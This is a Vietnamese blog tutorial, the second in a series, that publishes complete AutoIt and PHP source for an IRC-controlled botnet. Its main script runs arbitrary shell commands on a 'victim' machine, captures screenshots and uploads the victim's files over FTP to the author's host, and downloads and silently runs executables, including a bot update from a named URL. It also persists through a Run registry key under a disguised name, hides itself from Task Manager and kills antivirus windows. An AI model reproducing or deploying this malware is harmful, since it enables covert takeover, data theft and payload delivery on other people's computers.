Viết chương trình điều khiển máy tính từ xa bằng Autoit
Phần 2 : Botnet IRC
Phần 2 : Botnet IRC
Đây là phần tiếp theo của bài viết về Botnet , ở phần này mình sẽ hướng dẫn viết một con Botnet hoàn chỉnh hơn và "chuyên nghiệp" hơn với khả năng chat để điều khiển trực tiếp qua kênh IRC và danh sách Bot kết nối để nhận lệnh ...
Tổng quan về IRC :
IRC (Internet Relay Chat) . IRC là một dạng liên lạc cấp tốc qua mạng Internet. Nó được thiết kế với mục đích chính là cho phép các nhóm người trong một phòng thảo luận (channel) liên lạc với nhau. Tuy nhiên, nó cũng cho phép hai người dùng liên lạc riêng nếu họ thích.
Hiện nay IRC là mạng trò chuyện trực tuyến lớn, có vài triệu kênh trên máy phục vụ trên khắp thế giới
Để kết nối vào server IRC thì các bạn cần phải có phần mềm mIRC (link down full tại đây) , chỉ cần nhập tên nick và tên phòng để có thể vào kênh chat ngay lập tức mà không cần phải tạo một tài khoản nào .
Source Code :
UDF IRC.au3 (include)
Global $ret
Global $irc
Func _IRCConnect ($server, $port, $nick)
Local $i=-1
while $i=-1
$i = TCPConnect(TCPNameToIP($server), $port)
wend
TCPSend($i, "NICK " $nick @CRLF)
TCPSend($i, "USER " $nick " 0 0 " $nick @CRLF)
Return $i
EndFunc
Func _IRCJoinChannel ($irc, $chan)
If $irc = -1 Then Return 0
TCPSend($irc, "JOIN " $chan " " @CRLF)
If @error Then
MsgBox(1, "IRC.au3", "Server has disconnected.")
Return -1
EndIf
Return 1
EndFunc
Func _IRCSendMessage ($irc, $msg, $chan="")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, $msg @CRLF)
If @error Then
MsgBox(1, "IRC.au3", "Server has disconnected.")
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "PRIVMSG " $chan " :" $msg @CRLF)
If @error Then
MsgBox(1, "IRC.au3", "Server has disconnected.")
Return -1
EndIf
Return 1
EndFunc
Func _IRCChangeMode ($irc, $mode, $chan="")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, "MODE " $mode @CRLF)
If @error Then
MsgBox(1, "IRC.au3", "Server has disconnected.")
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "MODE " $chan " " $mode @CRLF)
If @error Then
MsgBox(1, "IRC.au3", "Server has disconnected.")
Return -1
EndIf
Return 1
EndFunc
Func _IRCPing($ret)
If $ret = "" Then Return -1
TCPSend($irc, "PONG " $ret @CRLF)
If @error Then
MsgBox(1, "IRC.au3", "Server has disconnected.")
Return -1
EndIf
Return 1
EndFunc
UDF FTP.au3 (include)
Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
Local $ai_InternetOpen = DllCall('wininet.dll', 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags)
If @error OR $ai_InternetOpen[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_InternetOpen[0]
EndFunc ;==> _FTPOpen()
Func _FTPConnect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 0, $l_Service = 1, $l_Flags = 0, $l_Context = 0)
Local $ai_InternetConnect = DllCall('wininet.dll', 'long', 'InternetConnect', 'long', $l_InternetSession, 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_InternetConnect[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_InternetConnect[0]
EndFunc ;==> _FTPConnect()
Func _FTPPutFile($l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpPutFile', 'long', $l_FTPSession, 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPPutFile()
Func _FTPGetFile($l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_Flags = 2, $l_Fail = -1, $l_Attributes = 0, $l_Context = 0)
Local $ai_FTPGetFile = DllCall('wininet.dll', 'int', 'FtpGetFile', 'long', $l_FTPSession, 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_Fail, 'long', $l_Attributes, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPGetFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPGetFile[0]
EndFunc;==> _FTPGetFile()
Func _FTPClose($l_InternetSession)
Local $ai_InternetCloseHandle = DllCall('wininet.dll', 'int', 'InternetCloseHandle', 'long', $l_InternetSession)
If @error OR $ai_InternetCloseHandle[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_InternetCloseHandle[0]
EndFunc ;==> _FTPClose()
Code zz.php (lưu thông tin IRC server , tên account , tên phòng và in ra IP bot)
<?php
$ip = $_SERVER["REMOTE_ADDR"]
?>
[Information] Server=irc.datviet.net Port=6667 Channel=#room Version=1
user=yourname update=http://raito.co.cc/botnet.exe
past=C:/WINDOWS/system32/system.exe ip=<? echo"$ip"; ?>
Server : IRC server
Port : tùy thuộc vào IRC server (thường là 6667)
Channel : tên phòng
user : tên đăng nhập
update : đường dẫn tới bot trên host để cập nhật sau này
past : đường dẫn tới bot trên máy tính victim
Code BotnetIRC.au3 :
;_FTPPutFile , While wend , register before ...
#include <IRC.au3>
#include <INet.au3>
#include <Constants.au3>
#include <Process.au3>
#include <String.au3>
#include <IE.au3>
#include <FTP.au3>
#include <ScreenCapture.au3>
#include <File.au3>
#include <Array.au3>
Global $version = "1.0"
FileDelete(@WindowsDir & "\server.txt")
InetGet("http://host của bạn/zz.php", @WindowsDir & "\server.txt", 0, 0)
If @error Then
FileOpen(@WindowsDir & "\server.txt", 8)
FileClose(@WindowsDir & "\server.txt")
EndIf
Sleep(1000)
$file = FileOpen(@WindowsDir & "\server.txt", 0)
$information = StringSplit(FileRead($file), " ")
FileClose($file)
Global $server = StringTrimLeft($information[2], 7)
Global $port = StringTrimLeft($information[3], 5)
Global $nick = @ComputerName & "-" & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1))
Global $channel = StringTrimLeft($information[4], 8)
Global $new_version = StringTrimLeft($information[5], 8)
Global $use = StringTrimLeft($information[6], 5)
Global $link = StringTrimLeft($information[7], 7)
Global $past = StringTrimLeft($information[8], 5)
Global $ip = StringTrimLeft($information[9], 3)
Global $openFTP = False
Global $serftp = "" ; FTP server cần cho hàm upload file
Global $taikhoan = "" ; FTP username
Global $passftp = "" ; FTP password
Global $dir = "" ; đường dẫn trên host (htdocs,public_html ... tùy host)
Global $command
Global $DDir = "C:/"
TCPStartup()
Global $sock = _IRCConnect($server, $port, $nick); Ket noi toi IRC va` nhap nick cua bot
Global $LASTCMD = ""
Global $login = False
Global $username = ""
While 1
_dangky() ; đưa chương trình vào startup để khởi động cùng windows
Hide() ; ẩn chương trình trong task manager
Bot() ; hàm chính gọi lệnh cho bot thực hiện
Hide()
WEnd
Func Bot()
Local $run
Local $strtmp
$recv = TCPRecv($sock, 8192)
If @error Then $sock = _IRCConnect($server, $port, $nick)
Local $sData = StringSplit($recv, @CRLF)
For $i = 1 To $sData[0] Step 1
Local $sTemp = StringSplit($sData[$i], " ")
If $sTemp[1] = "" Then ContinueLoop
If $sTemp[1] = "PING" Then TCPSend($sock, "PONG " & $sTemp[2] & @CRLF)
If $sTemp[0] <= 2 Then ContinueLoop
Switch $sTemp[2]
Case "PRIVMSG"
Global $user = StringMid($sTemp[1], 2, StringInStr($sTemp[1], "!") - 2)
Global $3 = StringMid($sData[$i], StringInStr($sData[$i], ":", 0, 2) + 1)
Global $msg = StringSplit($3, " ")
Switch $3
;==============================================================
; Gõ Login 123456 để bắt đầu điều khiển bot (có thể double click vào từng bot để điều khiển riêng)
Case $msg[1] = "Login" ; đăng nhập vào kênh IRC bằng tên người dùng và tên phòng đã đặt trong zz.php
$pass = $Msg[2]
if $pass = "123456" Then ; đặt pass cho bot
_IRCSendMessage($sock,"Chao Anh Huy Handsome, Chuc Anh Mot Ngay Tot Lanh !", $Channel)
$login = True
Else
_IRCSendMessage($sock,"Sai Pass Rui^^!", $Channel)
EndIf
;==============================================================
;Gọi các lệnh trong command prompt
Case $msg[1] = "cmd"
If $login = True And $user = $use Then
If $msg[0] = "1" Then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
ElseIf $msg[0] = "2" Then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
Else
If $msg[2] = "cd" Then
$DDir = $msg[3]
ElseIf $msg[2] = "cd\" Then
$DDir = "C:/"
EndIf
$dir = $msg[2]
$len = StringLen($dir)
$command = StringTrimLeft($3, 4 + $len)
Local $foo = Run(@ComSpec & " /c " & $command, $dir, @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD)
Local $line
$file1 = FileOpen("system.txt", 2 + 8 + 128)
While 1
$line = StdoutRead($foo)
If @error Then ExitLoop
FileWrite($file1, $line)
WEnd
FileClose($file1)
$file = FileOpen("system.txt", 0)
While 1
$line1 = FileReadLine($file)
If @error Then ExitLoop
_IRCSendMessage($sock, $line1, $channel)
WEnd
EndIf
FileClose($file)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Mở FTP để upload file
Case $msg[1] = "openFTP"
If $login = True And $user = $use Then
$openFTP = True
_IRCSendMessage($sock, "Đã mở Socket FTP ^^!", $channel)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Chụp ảnh màn hình và úp lên host bằng giao thức FTP đã mở
Case $msg[1] = "printscreen"
If $login = True And $user = $use And $openFTP = True Then
If $msg[0] = "1" Then
_IRCSendMessage($sock, 'Nhập nơi lưu trữ file trên host ( Cú pháp : printscreen raito.co.cc/htdocs/*.jpg )', $channel)
Else
_ScreenCapture_Capture("C:\windows\capture.jpg", 0, 0, -1, -1)
_IRCSendMessage($sock, "Đã chụp xong màn hình victim !", $channel)
Sleep(100)
$Open = _FTPOpen('MyFTP Control')
$Conn = _FTPConnect($Open, $serftp, $taikhoan, $passftp)
$Ftpp = _FtpPutFile($Conn, 'C:/windows/capture.jpg', '' & $dir & $msg[2])
$Ftpc = _FTPClose($Open)
_IRCSendMessage($sock, "Đã upload image lên host http://raito.co.cc !", $channel)
FileDelete("C:\windows\capture.jpg")
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Hiện thông tin bot đã connect
Case $msg[1] = "info"
If $login = True And $user = $use Then
_IRCSendMessage($sock, "Computer Name: " & @ComputerName & " - OS: " & @OSVersion & " - User: " & @UserName & " - IP: " & $ip, $channel)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
Case $msg[1] = "version"
If $login = True And $user = $use Then
_IRCSendMessage($sock, "version" & $version, $channel)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
; ================================================
; Tương tự cmd
Case $msg[1] = "rundos"
If $login = True And $user = $use Then
If $msg[0] = "1" Then
_IRCSendMessage($sock, "Vui lòng nhập lệnh trong dos ( Cú pháp : rundos command ) ", $channel)
Else
$lenh = _RunDOS(StringTrimLeft($3, 7)) ; Chay lenh trong DOS
If $lenh <> 0 Then
_IRCSendMessage($sock, "OK! Rundos.....", $channel)
Else
_IRCSendMessage($sock, "Vui lòng nhập lệnh trong dos ( Cú pháp : rundos command ) ", $channel)
EndIf
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Update con bot với đường dẫn đã thiết lập trong zz.php
Case $msg[1] = "update"
If $login = True And $user = $use Then
InetGet($link, $past, 1, 0)
Sleep(10000)
Run($past, "", @SW_HIDE)
Sleep(5000)
_IRCSendMessage($sock, "Đã update phiên bản mới nhất cho Botnet !", $channel)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Download file về máy victim và thực thi
Case $msg[1] = "download"
If $login = True And $user = $use Then
If $msg[0] = "1" Then
_IRCSendMessage($sock, "Vui lòng nhập đầy đủ câu lệnh ( Cú pháp : download sourcedir*.* destdir*.* )", $channel)
ElseIf $msg[0] = "2" Then
_IRCSendMessage($sock, "Vui lòng nhập đầy đủ câu lệnh ( Cú pháp : download sourcedir*.* destdir*.* )", $channel)
Else
_IRCSendMessage($sock, "OK! Downloaded ...", $channel)
$lenh = InetGet($msg[2], $msg[3], 1, 0)
$size = FileGetSize($msg[3])
Sleep(100)
Run($msg[3], "", @SW_HIDE)
If $lenh = 1 Then
_IRCSendMessage($sock, "Done! Đã dowload xong , đang mở file ... - Size : " & $size & " Bytes", $channel)
Else
_IRCSendMessage($sock, "Không mở được định dạng file này ( yêu cầu *.exe )", $channel)
EndIf
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Hủy bỏ lệnh download
Case $msg[1] = "abort"
If $login = True And $user = $use Then
$lenh = InetGet("abort") ; Huy bo lenh download
If $lenh = 1 Then
_IRCSendMessage($sock, "Stoped download !", $channel)
Else
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Hiện danh sách các process đang chạy trên máy victim
Case $msg[1] = "processlist"
If $login = True And $user = $use Then
$list = ProcessList()
For $i = 1 To $list[0][0]
_IRCSendMessage($sock, $list[$i][0] & " " & $list[$i][1], $channel)
Hide()
Next
_IRCSendMessage($sock, "Xong roi anh Huy ^^", $channel)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Hiện danh sách ổ cứng trên máy victim
Case $msg[1] = "drivelist"
If $login = True And $user = $use Then
$drv = DriveGetDrive("ALL")
If Not @error Then
_IRCSendMessage($sock, "Tim thay " & $drv[0] & " drives", $channel)
For $i = 1 To $drv[0]
_IRCSendMessage($sock, "Drive " & $drv[$i], $channel)
Next
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Lấy file từ máy victim và úp lên server
Case $msg[1] = "getfile"
If $login = True And $user = $use And $openFTP = True Then
If $msg[0] = "1" Or $msg[0] = "2" Then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
Else
$len1 = StringLen($msg[2])
$target = StringTrimLeft($3, 9 + $len1)
Sleep(100)
_IRCSendMessage($sock, "Dang Upload ... ^^!", $channel)
$Open = _FTPOpen('MyFTP Control')
$Conn = _FTPConnect($Open, $serftp, $taikhoan, $passftp)
$Ftpp = _FtpPutFile($Conn, $target, '' & $dir & $msg[2])
$Ftpc = _FTPClose($Open)
_IRCSendMessage($sock, "Da Upload Xong ^^!", $channel)
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; ĐÓng một cửa sổ hoặc một chương trình bất kỳ bằng cách kill process
Case $msg[1] = "kill"
If $login = True And $user = $use Then
ProcessClose($msg[2])
If Not ProcessExists($msg[2]) Then
_IRCSendMessage($sock, "Process Khong Ton Tai ^^!", $channel)
Else
_IRCSendMessage($sock, $msg[2] & " Has been Close ^^ !", $channel)
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Mở một trang web bằng trình duyệt IE
Case $msg[1] = "visit"
If $login = True And $user = $use Then
If $msg[0] = "1" Or $msg[0] = "2" Then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
Else
If $msg[3] = "show" Then
$oIE = _IECreate($msg[2], 0, 1, 1)
_IRCSendMessage($sock, "Showed window ^_^", $channel)
ElseIf $msg[3] = "hide" Then
$oIE = _IECreate($msg[2], 0, 0, 1)
EndIf
If @error Then
_IRCSendMessage($sock, "Command Error! ^_^", $channel)
Else
_IRCSendMessage($sock, "Done!,Visit OK ^^!", $channel)
EndIf
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Đóng trình duyệt IE
Case $msg[1] = "stopvisit"
If $login = True And $user = $use Then
ProcessClose("iexplore.exe")
If @error Then
_IRCSendMessage($sock, "Command Error! ^_^", $channel)
Else
_IRCSendMessage($sock, "Done!, Stopped ^^!", $channel)
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
; ================================================
; Xóa một file trên máy victim
Case $msg[1] = "delete"
If $login = True And $user = $use Then
If $msg[0] = "1" Then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
Else
FileDelete($msg[2])
If @error Then
_IRCSendMessage($sock, "Command Error! ^_^", $channel)
Else
_IRCSendMessage($sock, "Done!,Deleted", $channel)
EndIf
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Thoát khỏi trình điều khiển botnet
Case $msg[1] = "logout"
If $login = True And $user = $use Then
$login = False
$username = ""
_IRCSendMessage($sock, "Đã kích hoạt chế độ stand by , Vui lòng đăng nhập để điều khiển Botnet !", $channel)
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
; Thực thi một file trên máy victim
case $msg[1] = "run"
If $login = true and $user = $use Then
If $msg[0] = "1" then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
Else
$taptin = StringTrimLeft($3, 4)
Run($taptin,"",@SW_HIDE)
if @error Then
_IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)
Else
_IRCSendMessage($sock, "Done!", $channel)
EndIf
EndIf
Else
_IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
EndIf
;==============================================================
EndSwitch
Case "266"; It is what I use as an indictator to show when its done sending you info.
_IRCJoinChannel($sock, $channel)
_IRCChangeMode($sock, "+i", $nick)
_IRCChangeMode($sock, "+ps", $channel)
_IRCChangeMode($sock, "+k ", $channel)
EndSwitch
Next
EndFunc ;==>Bot
Func _dangky()
FileCopy(@ScriptFullPath, @AppDataDir & "\cftmon.exe", 1)
RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon")
If @error Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon", "REG_SZ", @AppDataDir & "\cftmon.exe")
$Open_Regedit = RegRead("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)")
If $Open_Regedit <> 'regedit.exe' Then RegWrite("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)", "REG_SZ", "regedit.exe")
EndFunc ;==>_dangky
Func Hide()
$prc = ProcessList("cftmon.exe")
If $prc[0][0] > 1 Then
ProcessClose("cftmon.exe")
EndIf
FileSetAttrib(@AppDataDir & "\cftmon.exe", "+SH")
If WinExists("[REGEXPTITLE:(?i)Configuration", "") Then WinKill("[REGEXPTITLE:(?i)Configuration]", "")
If WinExists("[REGEXPTITLE:(?i)kav]", "") Then WinKill("[REGEXPTITLE:(?i)kav]", "")
Dim $ProcName = "cftmon.exe", $TaskManTitle = "Windows Task Manager"
$FindIndex = ControlListView($TaskManTitle, "", 1009, "FindItem", $ProcName)
If $FindIndex = -1 Then
Else
$hwnd = ControlGetHandle($TaskManTitle, "", 1009)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 0x1008, "int", $FindIndex, "int", 0)
EndIf
EndFunc ;==>Hide
Các bạn đọc code trong từng dòng và phân tích code để biết cách sử dụng lệnh điều khiển bot , để ý là $msg[0] trả về lỗi của lệnh , $msg[1] chính là lệnh được gọi , $msg[2] , $msg[3] ... tạm gọi là các tham số dòng lệnh ( tùy vào số lượng tham số mà ta có các cách gọi lênh khác nhau , sử dụng không đúng số lượng tham số sẽ phát sinh lỗi nên các bạn nhớ đọc kỹ code )
Vậy là đã xong code Botnet IRC , các bạn có thắc mắc gì thì có thể PM Y! mình hoặc comment bên dưới để hỏi thêm (nhưng chỉ được hỏi khi bạn đã học qua căn bản lập trình , còn không thì mình sẽ không giải đáp) ...
Bài sau mình sẽ hướng dẫn cách đăng nhập và tự động thao tác trên một trang web ... see ya !